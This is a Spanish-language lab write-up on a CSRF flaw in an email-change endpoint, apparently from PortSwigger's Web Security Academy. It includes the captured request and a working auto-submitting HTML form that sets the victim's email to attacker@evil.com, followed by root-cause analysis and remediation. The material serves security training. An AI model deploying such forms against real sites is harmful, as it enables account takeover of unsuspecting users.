CSRF vulnerability with no defenses
Cambio de email sin ninguna defensa CSRF: un formulario auto-submit alojado en el exploit server muta el email de la víctima aprovechando la cookie de sesión.
Target Overview & Vulnerability Summary
La funcionalidad de cambio de email de este lab es vulnerable a CSRF sin ninguna defensa: el endpoint POST /my-account/change-email no exige token CSRF ni valida el Origin/Referer. Un formulario alojado en el exploit server, enviado de forma automática, muta el email de la víctima usando su cookie de sesión.
| Campo | Valor |
|---|---|
| Severidad | Media (cambio de estado autenticado cross-site; escalable a ATO en contextos reales) |
| Endpoint vulnerable | POST /my-account/change-email |
| Root cause | Ausencia total de mecanismo anti-CSRF (token, SameSite, verificación de origen) |
Credenciales del laboratorio: wiener:peter.
Technical Breakdown & Exploitation Flow
1. La request legítima de cambio de email
POST /my-account/change-email HTTP/2
Host: 0a4a00cf047010d180a88559008600b0.web-security-academy.net
Cookie: session=maU7bswIvGSmj7bkcuBm9gwX0u5mrXHe
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0a4a00cf047010d180a88559008600b0.web-security-academy.net
Referer: https://0a4a00cf047010d180a88559008600b0.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
email=wiener%40normal-user.net
El formulario legítimo:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<button class='button' type='submit'> Update email </button>
</form>
La request solo transporta email. No hay campo csrf, y el servidor no valida Origin/Referer: cualquier origen puede replicar el cambio.
2. Exploit HTML con auto-submit
<html>
<head>
<title>CSRF-1</title>
</head>
<body>
<form action="https://0a4a00cf047010d180a88559008600b0.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Flujo de explotación:
- La víctima autenticada visita la página del exploit server.
- El formulario oculto se auto-envía con
document.forms[0].submit(). - El navegador adjunta la cookie de sesión de la víctima al POST (las cookies no distinguen origen de petición).
- El servidor cambia el email a
attacker@evil.comsin validar quién originó la petición.
Root Cause Analysis
El endpoint confía implícitamente en que una request legítima solo puede venir de la propia UI. Sin token CSRF, sin SameSite en la cookie y sin verificación de origen, el modelo de confianza del protocolo HTTP/HTML (el navegador envía cookies cross-site automáticamente en navegaciones y formularios) permite a un tercer sitio realizar la misma mutación de estado autenticado. Es una violación del principio de "origin es la frontera de confianza".
Secure Remediation
- Emitir un token CSRF por sesión, bindeado al usuario, y validarlo en cada mutación de estado:
# Servidor: validación de token en POST /my-account/change-email
if request.form.get("csrf") != session["csrf_token"]:
abort(403)
- Marcar la cookie de sesión como
SameSite=Lax(oStrict), lo que impide el envío de cookies en requests cross-site iniciadas por el atacante (navegaciones top-level tipoGETsiguen enviándola conLax; los POST cross-site se bloquean). - Validar
Origin/Refererpara peticiones de cambio de estado: rechazar orígenes que no estén en la lista blanca del sitio. - Para formularios sensibles (cambio de email), exigir re-autenticación (password o paso MFA) como mitigación de mayor fricción y de defensa en profundidad.